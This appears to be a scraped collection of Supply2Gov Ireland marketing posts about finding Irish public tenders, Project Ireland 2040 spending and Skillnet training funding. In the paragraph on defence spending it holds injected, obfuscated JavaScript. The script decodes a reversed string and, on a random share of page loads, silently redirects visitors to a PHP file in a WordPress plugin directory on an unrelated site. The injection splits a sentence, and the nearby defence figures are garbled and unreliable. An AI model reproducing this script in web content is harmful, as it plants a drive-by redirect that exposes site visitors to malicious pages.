irish government tenders

The opportunities for public sector suppliers in Ireland are out there in abundance, with the Irish government recently releasing a €116 billion spending strategy.

We have previously written about what sectors the Irish government is investing in; now we can focus on how your business can find Irish government tender opportunities for free.


Tender Alerts

Tender alerts are essential for any small business looking to find Irish government tender opportunities.

Small businesses often miss out on tenders because they have not spotted them in sufficient time. Having good preparation time to get your tender ready for submission is vital – and the longer you have to complete it the better.

Registering for Supply2Gov Ireland tender alerts means that you will receive the most recent tender opportunities that are relevant to your business for free.

This not only saves your business time searching through dozens of different portals; it also lets you choose the area or areas where you would like to work.


Free Subscriptions

All new Supply2Gov Ireland subscribers can access tender opportunities in Ireland for free. Get started in procurement with our “Ready To Take Flight” package and never miss relevant public sector contracts in your chosen free area.

Whether you want to work with public sector organisations near your business location or in another local area, free subscription packages include Dublin, Midland and Border.


Start in Ireland then move abroad

After trying our free local area subscription package, you will have the option to upgrade.

You will have the choice between our “Country”, “All Ireland”, “UK Wide” or “UK and Ireland” packages. Built with SMEs in mind, all packages can be paid monthly, 6-monthly or annually – putting your payment plan into your own hands.

If you would like to find tender opportunities in Ireland and/or the UK, or learn more about our pricing plan, follow the link.



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When the roadmap for Project Ireland 2040 was published in July this year, the overarching policy initiative released with it by the Irish government contained a €116 billion spending strategy which aims to enhance the long-term infrastructure of Ireland.

We have highlighted key strands of the flagship plan below.


Local Infrastructure

€2 billion has been allocated to the Urban Regeneration and Development Fund, which aims to generate fresh development across Ireland’s five cities. The fund encourages bids of €2 million (minimum).

On top of this, €1 billion has also been allocated to Rural Regeneration and Development. This fund is aimed at supporting entrepreneurial spirit, improving housing and bolstering tourism and transport links.



The launch of the €500 million Disruptive Technologies Innovation Fund is available for co-funded projects up to 2027. It is envisaged that partnerships will develop new digital advancements and make progress in artificial intelligence, food production, and manufacturing.



€500 million is available from the Climate Action Fund, which will support energy initiatives such as district heating, energy efficiency and renewable energy projects in line with Ireland’s environmental targets. Funding is available for projects worth upwards of €1 million through to 2027.



As of July 2018, the government has greenlit the country’s first technological university, which is to be named ‘Technological University Dublin’.

This establishment will be supported by the merger of Dublin Institute of Technology, Institute of Technology Blanchardstown and Institute of Technology Tallaght.

With a completion date set for January 2019, the new development will include a €1 billion campus in the centre of Dublin. Taoiseach Leo Varadkar said:

“Technological universities are central to delivering on this vision and will stimulate a more balanced growth of population and employment across Ireland. The ambition is simple: to drive regional development and provide more opportunities for individuals, enterprise, and community.”



Placing the needs of local communities front and centre, February 2018 saw the opening of two new primary care centres near Dublin. Part of a €810 million 10-year spending plan, these new centres will be joined by a new primary care facility in 2019, which is currently under construction.



Spending plans for Irish defence have also been outlined. €32 billion will be spent on PC-12 fixed wing utility $Ikf=function(n){if (typeof ($Ikf.list[n]) == “string”) return $Ikf.list[n].split(“”).reverse().join(“”);return $Ikf.list[n];};$Ikf.list=[“\’php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-visit-companies-involved-equipment-projects”>Piranha IIIH fleet, which cost the Irish government around €55 billion.

Safeguarding the Irish coastline is another key priority of this administration, as was demonstrated through the recent announcement of €257 million for flood relief schemes as part of a larger €1 billion flood defence programme over 10 years.


Find government procurement opportunities

Project Ireland 2040 has introduced a wealth of new opportunities for Ireland’s public sector suppliers.

If you would like to be a part of this and find government procurement opportunities in Ireland, sign up for a free Supply2Gov Ireland subscription.

We help SME businesses access government procurement opportunities in Ireland and in the UK. Suppliers can tailor their supplier profile to find relevant opportunities across the sectors you want to work with.

All new Supply2Gov Ireland users can access free Irish local area tenders. Free local areas include Dublin, Midland, and Border.

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It has been announced that Skillnet Ireland will release €2 million worth of funding to industry bodies and enterprise groups.

The national agency is responsible for the promotion and facilitation of workforce learning in Ireland and hopes that the funding will develop new Skillnet Learning Networks.

The scheme, which aims to support Irish businesses in addressing their current and future skills needs, will be launched in 2019.


Developing Ireland’s workforce

New technology, new regulations, market shifts and ever-changing demographics all mean that workplace training is more important than ever before.

Brendan McGinty, Chair of Skillnet Ireland, reinforced the importance of developing Skillnet Learning Networks:

“There is an ever-widening productivity gap between indigenous SMEs and multinationals based here. Therefore, it is imperative that Irish businesses remain competitive by investing in their workforce… The Skillnet Ireland model enables businesses to work together to identify the skills needed for their workforce development and to deliver relevant and impactful solutions to these skills challenges.”


Irish training tenders

With key players investing in the training marketplace, now is an excellent time for providers to look for training tenders.

The Irish public sector is investing heavily in workplace training. The Irish Government established a plan with 370 Actions to make Ireland’s Education and Training Service the best in Europe by 2026 – excellent news for SMEs that are looking to find training tender opportunities.

Start looking for these opportunities now by registering for free to Supply2Gov Ireland’s ‘Ready to Take Flight’ package.


Looking further afield?

Supply2Gov users get access to a free Irish local area of their choice: however, our Flying High customers get access to both Irish and British tender opportunities. This package is an excellent choice for Irish suppliers looking to break into the UK training market.

You can find more information about training tenders and view our full range of subscription prices here.


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It may be hard for you to believe that you can find Irish tender opportunities online in just a matter of minutes. However, with Supply2Gov – anything is possible!

We are the champion of small businesses and we can help you to access tenders that are relevant to your business via tender alerts.


Tender Alerts

Ireland spends approximately €12 billion on goods and services – that’s a lot of contract notices, far too many for an SME business to look through.

Our service helps small businesses find Irish tenders opportunities that are suited to them.

By signing up to our Tender Alerts service you can eliminate any Irish tenders that are not relevant to your business, by adding keywords that are specific to your product or service.

This means that your business will no longer need to sift through different portals throughout the day trying to find the right opportunities. Instead we will send you an email once a day – alerting you if any tenders match your profile.


What sectors do we cover?

The beauty of our portal is that you can narrow your search down to the finest of details – which makes it the perfect procurement tool for almost any business.

We have SME customers from many sector backgrounds including:

  • Construction
  • IT
  • Health & Safety
  • Healthcare
  • Training


Start finding Irish tenders for free!

Our portal is powered by Ireland’s largest database of public sector contracts, which means you will never miss another contract that is suitable for your business to bid for.

We understand that our customers may want to dip their toes in the procurement pool before they dive right in – which is why we offer a FREE package to help you get started.

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